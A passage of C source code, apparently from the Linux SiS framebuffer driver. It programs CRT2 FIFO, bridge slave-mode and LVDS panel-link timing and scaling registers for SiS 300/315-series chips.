(SiS_Pr->ChipRevision >= 0x30)) temp = 0x1b; } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x01,0xe0,temp); if((SiS_Pr->ChipType == SIS_630) && (SiS_Pr->ChipRevision >= 0x30)) { if(data > 0x13) data = 0x13; } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x02,0xe0,data); } else { /* If mode <= 0x13, we just restore everything */ SiS_Pr->SiS_SetFlag |= ProgrammingCRT2; SiS_Pr->SiS_SelectCRT2Rate = SelectRate_backup; } } #endif /* Set CRT2 FIFO on 315/330 series */ #ifdef CONFIG_FB_SIS_315 static void SiS_SetCRT2FIFO_310(struct SiS_Private *SiS_Pr) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x01,0x3B); if( (SiS_Pr->ChipType == SIS_760) && (SiS_Pr->SiS_SysFlags & SF_760LFB) && (SiS_Pr->SiS_ModeType == Mode32Bpp) && (SiS_Pr->SiS_VGAHDE >= 1280) && (SiS_Pr->SiS_VGAVDE >= 1024) ) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2f,0x03); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x01,0x3b); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x4d,0xc0); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2f,0x01); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x4d,0xc0); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x02,0x6e); } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x02,~0x3f,0x04); } } #endif static unsigned short SiS_GetVGAHT2(struct SiS_Private *SiS_Pr) { unsigned int tempax,tempbx; tempbx = (SiS_Pr->SiS_VGAVT - SiS_Pr->SiS_VGAVDE) * SiS_Pr->SiS_RVBHCMAX; tempax = (SiS_Pr->SiS_VT - SiS_Pr->SiS_VDE) * SiS_Pr->SiS_RVBHCFACT; tempax = (tempax * SiS_Pr->SiS_HT) / tempbx; return (unsigned short)tempax; } /* Set Part 1 / SiS bridge slave mode */ static void SiS_SetGroup1_301(struct SiS_Private *SiS_Pr, unsigned short ModeNo,unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short temp, modeflag, i, j, xres=0, VGAVDE; static const unsigned short CRTranslation[] = { /* CR0 CR1 CR2 CR3 CR4 CR5 CR6 CR7 */ 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, /* CR8 CR9 SR0A SR0B SR0C SR0D SR0E CR0F */ 0x00, 0x0b, 0x17, 0x18, 0x19, 0x00, 0x1a, 0x00, /* CR10 CR11 CR12 CR13 CR14 CR15 CR16 CR17 */ 0x0c, 0x0d, 0x0e, 0x00, 0x0f, 0x10, 0x11, 0x00 }; if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; } else if(SiS_Pr->UseCustomMode) { modeflag = SiS_Pr->CModeFlag; xres = SiS_Pr->CHDisplay; } else { modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; xres = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].XRes; } /* The following is only done if bridge is in slave mode: */ if(SiS_Pr->ChipType >= SIS_315H) { if(xres >= 1600) { /* BIOS: == 1600 */ SiS_SetRegOR(SiS_Pr->SiS_P3c4,0x31,0x04); } } SiS_Pr->CHTotal = 8224; /* Max HT, 0x2020, results in 0x3ff in registers */ SiS_Pr->CHDisplay = SiS_Pr->SiS_VGAHDE; if(modeflag & HalfDCLK) SiS_Pr->CHDisplay >>= 1; SiS_Pr->CHBlankStart = SiS_Pr->CHDisplay; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { SiS_Pr->CHBlankStart += 16; } SiS_Pr->CHBlankEnd = 32; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(xres == 1600) SiS_Pr->CHBlankEnd += 80; } temp = SiS_Pr->SiS_VGAHT - 96; if(!(modeflag & HalfDCLK)) temp -= 32; if(SiS_Pr->SiS_LCDInfo & LCDPass11) { temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x04); temp |= ((SiS_GetReg(SiS_Pr->SiS_P3c4,0x0b) & 0xc0) << 2); temp -= 3; temp <<= 3; } else { if(SiS_Pr->SiS_RVBHRS2) temp = SiS_Pr->SiS_RVBHRS2; } SiS_Pr->CHSyncStart = temp; SiS_Pr->CHSyncEnd = 0xffe8; /* results in 0x2000 in registers */ SiS_Pr->CVTotal = 2049; /* Max VT, 0x0801, results in 0x7ff in registers */ VGAVDE = SiS_Pr->SiS_VGAVDE; if (VGAVDE == 357) VGAVDE = 350; else if(VGAVDE == 360) VGAVDE = 350; else if(VGAVDE == 375) VGAVDE = 350; else if(VGAVDE == 405) VGAVDE = 400; else if(VGAVDE == 420) VGAVDE = 400; else if(VGAVDE == 525) VGAVDE = 480; else if(VGAVDE == 1056) VGAVDE = 1024; SiS_Pr->CVDisplay = VGAVDE; SiS_Pr->CVBlankStart = SiS_Pr->CVDisplay; SiS_Pr->CVBlankEnd = 1; if(ModeNo == 0x3c) SiS_Pr->CVBlankEnd = 226; temp = (SiS_Pr->SiS_VGAVT - VGAVDE) >> 1; SiS_Pr->CVSyncStart = VGAVDE + temp; temp >>= 3; SiS_Pr->CVSyncEnd = SiS_Pr->CVSyncStart + temp; SiS_CalcCRRegisters(SiS_Pr, 0); SiS_Pr->CCRT1CRTC[16] &= ~0xE0; for(i = 0; i <= 7; i++) { SiS_SetReg(SiS_Pr->SiS_Part1Port,CRTranslation[i],SiS_Pr->CCRT1CRTC[i]); } for(i = 0x10, j = 8; i <= 0x12; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part1Port,CRTranslation[i],SiS_Pr->CCRT1CRTC[j]); } for(i = 0x15, j = 11; i <= 0x16; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part1Port,CRTranslation[i],SiS_Pr->CCRT1CRTC[j]); } for(i = 0x0a, j = 13; i <= 0x0c; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part1Port,CRTranslation[i],SiS_Pr->CCRT1CRTC[j]); } temp = SiS_Pr->CCRT1CRTC[16] & 0xE0; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,CRTranslation[0x0E],0x1F,temp); temp = (SiS_Pr->CCRT1CRTC[16] & 0x01) << 5; if(modeflag & DoubleScanMode) temp |= 0x80; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,CRTranslation[0x09],0x5F,temp); temp = 0; temp |= (SiS_GetReg(SiS_Pr->SiS_P3c4,0x01) & 0x01); if(modeflag & HalfDCLK) temp |= 0x08; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x16,temp); /* SR01: HalfDCLK[3], 8/9 div dotclock[0] */ SiS_SetReg(SiS_Pr->SiS_Part1Port,0x0F,0x00); /* CR14: (text mode: underline location) */ SiS_SetReg(SiS_Pr->SiS_Part1Port,0x12,0x00); /* CR17: n/a */ temp = 0; if(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit) { temp = (SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00) & 0x01) << 7; } SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1A,temp); /* SR0E, dither[7] */ temp = SiS_GetRegByte((SiS_Pr->SiS_P3ca+0x02)); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1b,temp); /* ? */ } /* Setup panel link * This is used for LVDS, LCDA and Chrontel TV output * 300/LVDS+TV, 300/301B-DH, 315/LVDS+TV, 315/LCDA */ static void SiS_SetGroup1_LVDS(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short modeflag, resinfo = 0; unsigned short push2, tempax, tempbx, tempcx, temp; unsigned int tempeax = 0, tempebx, tempecx, tempvcfact = 0; bool islvds = false, issis = false, chkdclkfirst = false; #ifdef CONFIG_FB_SIS_300 unsigned short crt2crtc = 0; #endif #ifdef CONFIG_FB_SIS_315 unsigned short pushcx; #endif if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; resinfo = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ResInfo; #ifdef CONFIG_FB_SIS_300 crt2crtc = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; #endif } else if(SiS_Pr->UseCustomMode) { modeflag = SiS_Pr->CModeFlag; } else { modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; #ifdef CONFIG_FB_SIS_300 crt2crtc = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC; #endif } /* is lvds if really LVDS, or 301B-DH with external LVDS transmitter */ if((SiS_Pr->SiS_IF_DEF_LVDS == 1) || (SiS_Pr->SiS_VBType & VB_NoLCD)) { islvds = true; } /* is really sis if sis bridge, but not 301B-DH */ if((SiS_Pr->SiS_VBType & VB_SISVB) && (!(SiS_Pr->SiS_VBType & VB_NoLCD))) { issis = true; } if((SiS_Pr->ChipType >= SIS_315H) && (islvds) && (!(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA))) { if((!SiS_Pr->SiS_IF_DEF_FSTN) && (!SiS_Pr->SiS_IF_DEF_DSTN)) { chkdclkfirst = true; } } #ifdef CONFIG_FB_SIS_315 if((SiS_Pr->ChipType >= SIS_315H) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { if(IS_SIS330) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2D,0x10); } else if(IS_SIS740) { if(islvds) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x13,0xfb,0x04); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2D,0x03); } else if(SiS_Pr->SiS_VBType & VB_SISVB) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2D,0x10); } } else { if(islvds) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x13,0xfb,0x04); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2D,0x00); } else if(SiS_Pr->SiS_VBType & VB_SISVB) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2D,0x0f); if(SiS_Pr->SiS_VBType & VB_SIS30xC) { if((SiS_Pr->SiS_LCDResInfo == Panel_1024x768) || (SiS_Pr->SiS_LCDResInfo == Panel_1280x1024)) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2D,0x20); } } } } } #endif /* Horizontal */ tempax = SiS_Pr->SiS_LCDHDES; if(islvds) { if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(!SiS_Pr->SiS_IF_DEF_FSTN && !SiS_Pr->SiS_IF_DEF_DSTN) { if((SiS_Pr->SiS_LCDResInfo == Panel_640x480) && (!(SiS_Pr->SiS_VBInfo & SetInSlaveMode))) { tempax -= 8; } } } } temp = (tempax & 0x0007); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1A,temp); /* BPLHDESKEW[2:0] */ temp = (tempax >> 3) & 0x00FF; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x16,temp); /* BPLHDESKEW[10:3] */ tempbx = SiS_Pr->SiS_HDE; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { tempbx = SiS_Pr->PanelXRes; } if((SiS_Pr->SiS_LCDResInfo == Panel_320x240_1) || (SiS_Pr->SiS_LCDResInfo == Panel_320x240_2) || (SiS_Pr->SiS_LCDResInfo == Panel_320x240_3)) { tempbx >>= 1; } } tempax += tempbx; if(tempax >= SiS_Pr->SiS_HT) tempax -= SiS_Pr->SiS_HT; temp = tempax; if(temp & 0x07) temp += 8; temp >>= 3; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x17,temp); /* BPLHDEE */ tempcx = (SiS_Pr->SiS_HT - tempbx) >> 2; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { if(SiS_Pr->PanelHRS != 999) tempcx = SiS_Pr->PanelHRS; } } tempcx += tempax; if(tempcx >= SiS_Pr->SiS_HT) tempcx -= SiS_Pr->SiS_HT; temp = (tempcx >> 3) & 0x00FF; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(SiS_Pr->SiS_IF_DEF_TRUMPION) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { switch(ModeNo) { case 0x04: case 0x05: case 0x0d: temp = 0x56; break; case 0x10: temp = 0x60; break; case 0x13: temp = 0x5f; break; case 0x40: case 0x41: case 0x4f: case 0x43: case 0x44: case 0x62: case 0x56: case 0x53: case 0x5d: case 0x5e: temp = 0x54; break; } } } } SiS_SetReg(SiS_Pr->SiS_Part1Port,0x14,temp); /* BPLHRS */ if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { temp += 2; if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { temp += 8; if(SiS_Pr->PanelHRE != 999) { temp = tempcx + SiS_Pr->PanelHRE; if(temp >= SiS_Pr->SiS_HT) temp -= SiS_Pr->SiS_HT; temp >>= 3; } } } else { temp += 10; } temp &= 0x1F; temp |= ((tempcx & 0x07) << 5); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x15,temp); /* BPLHRE */ /* Vertical */ tempax = SiS_Pr->SiS_VGAVDE; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { tempax = SiS_Pr->PanelYRes; } } tempbx = SiS_Pr->SiS_LCDVDES + tempax; if(tempbx >= SiS_Pr->SiS_VT) tempbx -= SiS_Pr->SiS_VT; push2 = tempbx; tempcx = SiS_Pr->SiS_VGAVT - SiS_Pr->SiS_VGAVDE; if(SiS_Pr->ChipType < SIS_315H) { if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { tempcx = SiS_Pr->SiS_VGAVT - SiS_Pr->PanelYRes; } } } if(islvds) tempcx >>= 1; else tempcx >>= 2; if( (SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) && (!(SiS_Pr->SiS_LCDInfo & LCDPass11)) && (SiS_Pr->PanelVRS != 999) ) { tempcx = SiS_Pr->PanelVRS; tempbx += tempcx; if(issis) tempbx++; } else { tempbx += tempcx; if(SiS_Pr->ChipType < SIS_315H) tempbx++; else if(issis) tempbx++; } if(tempbx >= SiS_Pr->SiS_VT) tempbx -= SiS_Pr->SiS_VT; temp = tempbx & 0x00FF; if(SiS_Pr->SiS_IF_DEF_TRUMPION) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(ModeNo == 0x10) temp = 0xa9; } } SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,temp); /* BPLVRS */ tempcx >>= 3; tempcx++; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { if(SiS_Pr->PanelVRE != 999) tempcx = SiS_Pr->PanelVRE; } } tempcx += tempbx; temp = tempcx & 0x000F; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x19,0xF0,temp); /* BPLVRE */ temp = ((tempbx >> 8) & 0x07) << 3; if(SiS_Pr->SiS_IF_DEF_FSTN || SiS_Pr->SiS_IF_DEF_DSTN) { if(SiS_Pr->SiS_HDE != 640) { if(SiS_Pr->SiS_VGAVDE != SiS_Pr->SiS_VDE) temp |= 0x40; } } else if(SiS_Pr->SiS_VGAVDE != SiS_Pr->SiS_VDE) temp |= 0x40; if(SiS_Pr->SiS_SetFlag & EnableLVDSDDA) temp |= 0x40; tempbx = 0x87; if((SiS_Pr->ChipType >= SIS_315H) || (SiS_Pr->ChipRevision >= 0x30)) { tempbx = 0x07; if((SiS_Pr->SiS_IF_DEF_CH70xx == 1) && (SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) { if(SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00) & 0x03) temp |= 0x80; } /* Chrontel 701x operates in 24bit mode (8-8-8, 2x12bit multiplexed) via VGA2 */ if(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { if(SiS_GetReg(SiS_Pr->SiS_P3c4,0x06) & 0x10) temp |= 0x80; } else { if(SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00) & 0x01) temp |= 0x80; } } } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x1A,tempbx,temp); tempbx = push2; /* BPLVDEE */ tempcx = SiS_Pr->SiS_LCDVDES; /* BPLVDES */ if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { switch(SiS_Pr->SiS_LCDResInfo) { case Panel_640x480: tempbx = SiS_Pr->SiS_VGAVDE - 1; tempcx = SiS_Pr->SiS_VGAVDE; break; case Panel_800x600: if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) { if(resinfo == SIS_RI_800x600) tempcx++; } break; case Panel_1024x600: if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) { if(resinfo == SIS_RI_1024x600) tempcx++; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { if(resinfo == SIS_RI_800x600) tempcx++; } } break; case Panel_1024x768: if(SiS_Pr->ChipType < SIS_315H) { if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) { if(resinfo == SIS_RI_1024x768) tempcx++; } } break; } } temp = ((tempbx >> 8) & 0x07) << 3; temp |= ((tempcx >> 8) & 0x07); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1D,temp); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1C,tempbx); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1B,tempcx); /* Vertical scaling */ if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 /* 300 series */ tempeax = SiS_Pr->SiS_VGAVDE << 6; temp = (tempeax % (unsigned int)SiS_Pr->SiS_VDE); tempeax = tempeax / (unsigned int)SiS_Pr->SiS_VDE; if(temp) tempeax++; if(SiS_Pr->SiS_SetFlag & EnableLVDSDDA) tempeax = 0x3F; temp = (unsigned short)(tempeax & 0x00FF); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1E,temp); /* BPLVCFACT */ tempvcfact = temp; #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 /* 315 series */ tempeax = SiS_Pr->SiS_VGAVDE << 18; tempebx = SiS_Pr->SiS_VDE; temp = (tempeax % tempebx); tempeax = tempeax / tempebx; if(temp) tempeax++; tempvcfact = tempeax; temp = (unsigned short)(tempeax & 0x00FF); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x37,temp); temp = (unsigned short)((tempeax & 0x00FF00) >> 8); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x36,temp); temp = (unsigned short)((tempeax & 0x00030000) >> 16); if(SiS_Pr->SiS_VDE == SiS_Pr->SiS_VGAVDE) temp |= 0x04; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x35,temp); if(SiS_Pr->SiS_VBType & VB_SISPART4SCALER) { temp = (unsigned short)(tempeax & 0x00FF); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x3c,temp); temp = (unsigned short)((tempeax & 0x00FF00) >> 8); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x3b,temp); temp = (unsigned short)(((tempeax & 0x00030000) >> 16) << 6); SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x3a,0x3f,temp); temp = 0; if(SiS_Pr->SiS_VDE != SiS_Pr->SiS_VGAVDE) temp |= 0x08; SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x30,0xf3,temp); } #endif } /* Horizontal scaling */ tempeax = SiS_Pr->SiS_VGAHDE; /* 1f = ( (VGAHDE * 65536) / ( (VGAHDE * 65536) / HDE ) ) - 1*/ if(chkdclkfirst) { if(modeflag & HalfDCLK) tempeax >>= 1; } tempebx = tempeax << 16; if(SiS_Pr->SiS_HDE == tempeax) { tempecx = 0xFFFF; } else { tempecx = tempebx / SiS_Pr->SiS_HDE; if(SiS_Pr->ChipType >= SIS_315H) { if(tempebx % SiS_Pr->SiS_HDE) tempecx++; } } if(SiS_Pr->ChipType >= SIS_315H) { tempeax = (tempebx / tempecx) - 1; } else { tempeax = ((SiS_Pr->SiS_VGAHT << 16) / tempecx) - 1; } tempecx = (tempecx << 16) | (tempeax & 0xFFFF); temp = (unsigned short)(tempecx & 0x00FF); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1F,temp); if(SiS_Pr->ChipType >= SIS_315H) { tempeax = (SiS_Pr->SiS_VGAVDE << 18) / tempvcfact; tempbx = (unsigned short)(tempeax & 0xFFFF); } else { tempeax = SiS_Pr->SiS_VGAVDE << 6; tempbx = tempvcfact & 0x3f; if(tempbx == 0) tempbx = 64; tempeax /= tempbx; tempbx = (unsigned short)(tempeax & 0xFFFF); } if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) tempbx--; if(SiS_Pr->SiS_SetFlag & EnableLVDSDDA) { if((!SiS_Pr->SiS_IF_DEF_FSTN) && (!SiS_Pr->SiS_IF_DEF_DSTN)) tempbx = 1; else if(SiS_Pr->SiS_LCDResInfo != Panel_640x480) tempbx = 1; } temp = ((tempbx >> 8) & 0x07) << 3; temp = temp | ((tempecx >> 8) & 0x07); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x20,temp); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x21,tempbx); tempecx >>= 16; /* BPLHCFACT */ if(!chkdclkfirst) { if(modeflag & HalfDCLK) tempecx >>= 1; } temp = (unsigned short)((tempecx & 0xFF00) >> 8); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x22,temp); temp = (unsigned short)(tempecx & 0x00FF); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x23,temp); #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { if((islvds) || (SiS_Pr->SiS_VBInfo & VB_SISLVDS)) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1e,0x20); } } else { if(islvds) { if(SiS_Pr->ChipType == SIS_740) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x1e,0x03); } else { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1e,0x23); } } } } #endif #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->SiS_IF_DEF_TRUMPION) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned char *trumpdata; int i, j = crt2crtc; unsigned char TrumpMode13[4] = { 0x01, 0x10, 0x2c, 0x00 }; unsigned char TrumpMode10_1[4] = { 0x01, 0x10, 0x27, 0x00 }; unsigned char TrumpMode10_2[4] = { 0x01, 0x16, 0x10, 0x00 }; if(SiS_Pr->SiS_UseROM) { trumpdata = &ROMAddr[0x8001 + (j * 80)]; } else { if(SiS_Pr->SiS_LCDTypeInfo == 0x0e) j += 7; trumpdata = &SiS300_TrumpionData[j][0]; } SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x02,0xbf); for(i=0; i<5; i++) { SiS_SetTrumpionBlock(SiS_Pr, trumpdata); } if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(ModeNo == 0x13) { for(i=0; i<4; i++) { SiS_SetTrumpionBlock(SiS_Pr, &TrumpMode13[0]); } } else if(ModeNo == 0x10) { for(i=0; i<4; i++) { SiS_SetTrumpionBlock(SiS_Pr, &TrumpMode10_1[0]); SiS_SetTrumpionBlock(SiS_Pr, &TrumpMode10_2[0]); } } } SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x02,0x40); } #endif #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->SiS_IF_DEF_FSTN || SiS_Pr->SiS_IF_DEF_DSTN) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x25,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x26,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x27,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x28,0x87); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x29,0x5A); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2A,0x4B); SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x44,~0x07,0x03); tempax = SiS_Pr->SiS_HDE; /* Blps = lcdhdee(lcdhdes+HDE) + 64 */ if(SiS_Pr->SiS_LCDResInfo == Panel_320x240_1 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_2 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_3) tempax >>= 1; tempax += 64; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x38,tempax & 0xff); temp = (tempax >> 8) << 3; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x35,~0x078,temp); tempax += 32; /* Blpe = lBlps+32 */ SiS_SetReg(SiS_Pr->SiS_Part1Port,0x39,tempax & 0xff); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3A,0x00); /* Bflml = 0 */ SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x3C,~0x007); tempax = SiS_Pr->SiS_VDE; if(SiS_Pr->SiS_LCDResInfo == Panel_320x240_1 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_2 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_3) tempax >>= 1; tempax >>= 1; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3B,tempax & 0xff); temp = (tempax >> 8) << 3; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x3C,~0x038,temp); tempeax = SiS_Pr->SiS_HDE; if(SiS_Pr->SiS_LCDResInfo == Panel_320x240_1 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_2 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_3) tempeax >>= 1; tempeax <<= 2; /* BDxFIFOSTOP = (HDE*4)/128 */ temp = tempeax & 0x7f; tempeax >>= 7; if(temp) tempeax++; temp = tempeax & 0x3f; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x45,temp); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3F,0x00); /* BDxWadrst0 */ SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3E,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3D,0x10); SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x3C,~0x040); tempax = SiS_Pr->SiS_HDE; if(SiS_Pr->SiS_LCDResInfo == Panel_320x240_1 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_2 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_3) tempax >>= 1; tempax >>= 4; /* BDxWadroff = HDE*4/8/8 */ pushcx = tempax; temp = tempax & 0x00FF; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x43,temp); temp = ((tempax & 0xFF00) >> 8) << 3; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port, 0x44, 0x07, temp); tempax = SiS_Pr->SiS_VDE; /* BDxWadrst1 = BDxWadrst0 + BDxWadroff * VDE */ if(SiS_Pr->SiS_LCDResInfo == Panel_320x240_1 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_2 || SiS_Pr->SiS_LCDResInfo == Panel_320x240_3) tempax >>= 1; tempeax = tempax * pushcx; temp = tempeax & 0xFF; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x42,temp); temp = (tempeax & 0xFF00) >> 8; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x41,temp); temp = ((tempeax & 0xFF0000) >> 16) | 0x10; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x40,temp); temp = ((tempeax & 0x01000000) >> 24) << 7; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port, 0x3C, 0x7F, temp); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2F,0x03); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x03,0x50); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x04,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2F,0x01); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x19,0x38); if(SiS_Pr->SiS_IF_DEF_FSTN) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2b,0x02); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2c,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2d,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x35,0x0c); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x36,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x37,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x38,0x80); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x39,0xA0); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3a,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3b,0xf0); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3c,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3d,0x10); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3e,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x3f,0x00); 